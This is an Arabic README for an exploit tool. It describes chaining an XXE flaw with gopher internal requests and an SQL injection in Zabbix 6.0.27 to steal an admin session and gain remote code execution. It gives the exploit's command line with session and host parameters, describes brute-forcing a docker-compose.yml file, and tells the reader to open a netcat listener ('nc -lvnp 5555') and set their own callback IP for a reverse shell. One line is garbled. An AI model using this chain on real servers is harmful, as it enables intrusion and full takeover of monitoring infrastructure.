
تم إنشاء هذا الاستغلال لاستغلال ثغرة XXE (XML External Entity). من خلاله، قرأت الكود الخلفي لخدمة الويب ووجدت نقطة نهاية (endpoint) يمكنني من خلالها استخدام gopher لإجراء طلبات داخلية على Zabbix المعرّض لثغرة RCE (Remote Code Execution).
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
صُمم هذا الاستغلال لاستغلال ثغرة XXE (كيانات XML الخارجية). من خلالها، قرأت الكود الخلفي لخدمة الويب ووجدت نقطة نهاية حيث يمكنني استخدام gopher لإرسال طلبات داخلية إلى خوادم Zabbix الإصدار 6.0.27 القابلة للاستغلال لتنفيذ الأوامر عن بُعد.
أثناء مرحلة الاستطلاع، قمت بتنفيذ هجوم القوة الغاشمة على خادم الويب الخارجي للحصول على ملف docker-compose.yml، الذي وفّر اسم حاوية خوادم Zabbix الداخلية. باستخدام هذه المعلومات، أرسلت طلب POST إلى جذر تطبيق الويب عبر gopher وأرجع خادم الويب معرّف المضيف ومعرّف الجلسة لمستخدم منخفض الصلاحيات في JSON مشفّر بنظام base64 داخل ملف تعريف الارتباط.
بهذه التفاصيل، تمكنت من تكييف الاستغلال الأصلي لاستغلال ثغرة حقن SQL في zabbix-server:10051 للحصول على معرّف جلسة المسؤول، ثم إنشاء وتنفيذ سكربت لتحقيق تنفيذ الأوامر عن بُعد.
إذا كنت بحاجة إلى استغلال ثغرة Zabbix هذه باستخدام gopher، يمكنك تعديل دالة InternalRequest لإرسال الطلب بالطريقة التي تحتاجها.
10.0.46.27:5555 في السكربت).تأكد من أن جهازك يستمع على المنفذ المحدد (5555 في السكربت) لاستقبال الشل العكسي. يمكنك استخدام netcat لهذا:
nc -lvnp 5555
استبدل العنوان 10.0.46.27 والمنفذ 5555 في دالة CreateScript بعنوانك الخاص والمنفذ المطلوب لاستقبال الشل العكسي.